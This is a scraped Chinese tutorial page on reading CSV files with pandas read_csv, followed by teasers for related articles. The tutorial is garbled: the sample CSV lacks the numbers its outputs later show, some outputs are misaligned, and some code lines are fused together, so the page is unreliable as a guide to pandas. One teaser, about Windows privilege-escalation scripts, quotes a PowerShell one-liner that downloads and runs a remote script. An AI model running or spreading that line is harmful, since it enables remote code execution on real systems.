Pandas I/O API是一套像pd.read_csv()一样返回Pandas对象的顶级读取器函数。

读取文本文件(或平面文件)的两个主要功能是read_csv()read_table()。它们都使用相同的解析代码来智能地将表格数据转换为DataFrame对象

pandas.read_csv(filepath_or_buffer, sep=',', delimiter=None, header='infer', names=None, index_col=None, usecols=None)

形式2

pandas.read_csv(filepath_or_buffer, sep='\t', delimiter=None, header='infer', names=None, index_col=None, usecols=None)

以下是csv文件数据的内容 -

S.No,Name,Age,City,Salary
,Tom,,Toronto,
,Lee,,HongKong,
,Steven,,Bay Area,
,Ram,,Hyderabad,

将这些数据保存为temp.csv并对其进行操作。

S.No,Name,Age,City,Salary
,Tom,,Toronto,
,Lee,,HongKong,
,Steven,,Bay Area,
,Ram,,Hyderabad,

read.csv

read.csv从csv文件中读取数据并创建一个DataFrame对象。

import pandas as pd

df=pd.read_csv("temp.csv")
print (df)

输出结果:

   S.No    Name  Age       City  Salary
Tom Toronto
Lee HongKong
Steven Bay Area
Ram Hyderabad

自定义索引

可以指定csv文件中的一列来使用index_col定制索引。

import pandas as pd

df=pd.read_csv("temp.csv",index_col=['S.No'])
print (df)

输出结果:

        Name  Age       City  Salary
S.No
Tom Toronto
Lee HongKong
Steven Bay Area
Ram Hyderabad

转换器
dtype的列可以作为字典传递。

import pandas as pd
import numpy as np df = pd.read_csv("temp.csv", dtype={'Salary': np.float64})
print (df.dtypes)

输出结果:

S.No        int64
Name object
Age int64
City object
Salary float64
dtype: object
 

默认情况下,Salary列的dtypeint,但结果显示为float,因为我们明确地转换了类型。

因此,数据看起来像浮点数 -

  S.No   Name   Age      City    Salary
0 1 Tom 28 Toronto 20000.0
1 2 Lee 32 HongKong 3000.0
2 3 Steven 43 Bay Area 8300.0
3 4 Ram 38 Hyderabad 3900.0

header_names
使用names参数指定标题的名称。

import pandas as pd
import numpy as np df=pd.read_csv("temp.csv", names=['a', 'b', 'c','d','e'])
print (df)
输出结果:
      a       b    c          d       e
0 S.No Name Age City Salary
1 1 Tom 28 Toronto 20000
2 2 Lee 32 HongKong 3000
3 3 Steven 43 Bay Area 8300
4 4 Ram 38 Hyderabad 3900
 

观察可以看到,标题名称附加了自定义名称,但文件中的标题还没有被消除。 现在,使用header参数来删除它。

如果标题不是第一行,则将行号传递给标题。这将跳过前面的行。

import pandas as pd
import numpy as np df=pd.read_csv("temp.csv",names=['a','b','c','d','e'],header=0)
print (df)
输出结果:
   a       b   c          d      e
0 1 Tom 28 Toronto 20000
1 2 Lee 32 HongKong 3000
2 3 Steven 43 Bay Area 8300
3 4 Ram 38 Hyderabad 3900
 

skiprows

skiprows跳过指定的行数。参考以下示例代码 -

import pandas as pd
import numpy as np df=pd.read_csv("temp.csv", skiprows=2)
print (df)

输出结果:

   2     Lee  32   HongKong  3000
0 3 Steven 43 Bay Area 8300
1 4 Ram 38 Hyderabad 3900

Pandas | 25 文件读写的更多相关文章

  1. [Python]-pandas模块-CSV文件读写

    Pandas 即Python Data Analysis Library,是为了解决数据分析而创建的第三方工具,它不仅提供了丰富的数据模型,而且支持多种文件格式处理,包括CSV.HDF5.HTML 等 ...

  2. C++文件读写详解(ofstream,ifstream,fstream)

    C++文件读写详解(ofstream,ifstream,fstream) 这里主要是讨论fstream的内容: #include <fstream> ofstream //文件写操作 内存 ...

  3. Python自动化--语言基础4--模块、文件读写、异常

    模块1.什么是模块?可以理解为一个py文件其实就是一个模块.比如xiami.py就是一个模块,想引入使用就在代码里写import xiami即可2.模块首先从当前目录查询,如果没有再按path顺序逐一 ...

  4. csv文件读写处理

    csv文件读写处理   1.读取 第一种:   import csv with open("route.csv","r") as f: #reader是一个迭代 ...

  5. Python之IO编程——文件读写、StringIO/BytesIO、操作文件和目录、序列化

    IO编程 IO在计算机中指Input/Output,也就是输入和输出.由于程序和运行时数据是在内存中驻留,由CPU这个超快的计算核心来执行,涉及到数据交换的地方,通常是磁盘.网络等,就需要IO接口.从 ...

  6. 12--Python入门--文件读写--TXT文件

    在进行数据分析之前,可能需要读写自己的数据文件.或者在完成数据分析之后,想把结果输出到外部的文件在Python中,利用pandas模块中的几个函数,可以轻松实现这些功能,利用pandas读取文件之后数 ...

  7. Python文件读写及网站显示

    一.关于文件读写的笔记 (一) 文件概述 文件是一个存储在辅助存储器上的数据序列,可以包含任何数据内容 文件都是按照2进制进行存储的,但在表现形式上有2种:文本文件和二进制文件. 1. 文本文件 文本 ...

  8. Android 数据存储02之文件读写

    Android文件读写 版本 修改内容 日期 修改人 V1.0 原始版本 2013/2/25 skywang Android文件读写的有两种方式.一种,是通过标准的JavaIO库去读写.另一种,是通过 ...

  9. C++文件读写函数之——fopen、fread和fwrite、fgetc和fputc、fgets和fputs、ftellf和fseek、rewind

    由于最近经常使用到c语言中的读写文件,所以在此总结以下,方便以后查找. 在c中,文件操作都是由库函数来实现的,主要是分为读和写两种操作,以下详细讲解以下所有有关文件操作的邯郸乎的用法: //C++写入 ...

随机推荐

  1. Java连载17-赋值类运算符&字符串的连接运算符

    一.赋值运算符 1.赋值类运算符包括两种: (1)基本赋值运算符:= (2)扩展的赋值运算符: +=     -=    *=    /=    &= 赋值类的运算符优先级:先执行等号右边的表 ...

  2. Java设计模式原型模式

    原型模式: – 通过new产生一个对象需要非常繁琐的数据准备或访问权限,则可以使用原型模式. – 就是java中的克隆技术,以某个对象为原型,复制出新的对象.显然,新的对象具备原型对象的特点 – 优势 ...

  3. java -- Set 用法及特点

    分类专栏: java学习   版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/firearr ...

  4. React学习之路之创建项目

    React 开发环境准备 IDE工具 visual studio code 开发环境 开发环境需要安装nodejs和npm,nodejs工具包含了npm. nodejs下载官网:https://nod ...

  5. Matplotlib 绘图与可视化 一些控件的介绍和属性,反正就是乱七八糟的

    这个链接里有下面这个图(图里还有超链接):https://matplotlib.org/3.1.1/api/artist_api.html#matplotlib.artist.Artist 各种图例: ...

  6. Flask send_file request

    send_file: send_file( filename_or_fp, mimetype=None, as_attachment=False, attachment_filename=None, ...

  7. 架构师小跟班:送你一份2019年阿里巴巴最新Java面试题,以供参考

    大家都说大厂面试造飞机,工作拧螺丝.这话只对了一部分,大厂是平时拧螺丝,一旦需要飞机时也能造的起来. 目录 技术一面(23问) 技术二面(3大块) JAVA开发技术面试中可能问到的问题(17问) JA ...

  8. ArrayList与LinkedList

    ArrayList与Linkedlist的增删改查问题以及集合选择问题 线程:安全:Vector 不安全:ArrayList,LinkedList 增删多:LinkedList 查询多:ArrayLi ...

  9. windows 提权脚本利用

    本地加载: Import-Module Sherlock.ps1 远程加载: IEX (New-Object System.Net.Webclient).DownloadString('https:/ ...

  10. 精益车间管理如何实现?让APS排程系统来帮忙

    精益制造是企业全面的文化改变,它的主要目标是消灭任何形式的浪费.最明显的例子是在生产区域堆积的物料.在制品.等待客户来买的成品.它还可能包括员工不必的移动和不增值的许多流程,目标是在最小的库存,最短的 ...